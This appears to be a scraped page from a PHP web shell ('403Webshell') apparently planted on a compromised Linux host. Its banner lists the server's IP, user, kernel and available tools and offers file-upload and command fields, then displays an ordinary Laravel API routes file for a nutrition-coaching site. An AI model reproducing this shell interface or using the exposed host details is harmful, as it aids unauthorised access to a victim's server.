403Webshell
Server IP : 162.253.224.18  /  Your IP : 216.73.217.81
Web Server : Apache
System : Linux s18.infinitysrv.com 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : dejavumk ( 1184)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/dejavumk/nutricoach.dejavumkt.info/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dejavumk/nutricoach.dejavumkt.info/routes/api.php
<?php

use Illuminate\Http\Request;
//$anthropometrics = App\Anthropometric::all()->user()->get();
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/

/**
 * User Create Profile
 * User Login
 * User Enter Anthropometic Data
 * User Buy Subscription
 * 
 */
Route::group([ 'prefix' => 'auth'], function (){ 
    
    Route::group(['middleware' => ['guest:api']], function () {
        Route::post('login', 'API\AuthController@login');
        Route::post('signup', 'API\AuthController@signup');
        Route::post('/auth/redirect/{provider}', 'SocialController@redirect')->name('socialite');
       
    });
    Route::group(['middleware' => 'auth:api'], function() {
        Route::get('logout', 'API\AuthController@logout');
        Route::get('getuser', 'API\AuthController@getUser');

        Route::resource('plans', 'API\PlanController');
        Route::resource('anthropometrics', 'AnthropometricController');
        Route::resource('weights', 'WeightController');
        Route::resource('fats', 'FatController');
        Route::get('plan-alimenticio', 'PagesController@showAlimentPlan');
        Route::get('recibos', 'ResumeController@recibos');
        Route::get('lista-super', 'PagesController@showSuperList')->name('lista-super')->middleware('verified');


        // Subscription Routes
        /**
         * Subscribe
         * UnSubscribe
         * 
         */
        Route::post('/process/payment', 'PaymentsController@subscribe');
        Route::post('/update/plan', 'PaymentsController@updatePlan')->name('plan.update');
        Route::post('/updatePayMethod', 'PaymentsController@updatePayMethod')->name('card.update');
        Route::post('/cancel/subscription', 'PaymentsController@cancelSubscription')->name('subscription.cancel');
        Route::post('/subscribe/paypal', 'PaymentsController@subscribe')->name('paypal.redirect');
      //  Route::get('/subscribe/paypal/return', 'PaypalController@paypalReturn')->name('paypal.return');
     
        
        
    });
  
}); 
Route::group(['middleware' => 'auth:api'], function() {

});

Youez - 2016 - github.com/yon3zu
LinuXploit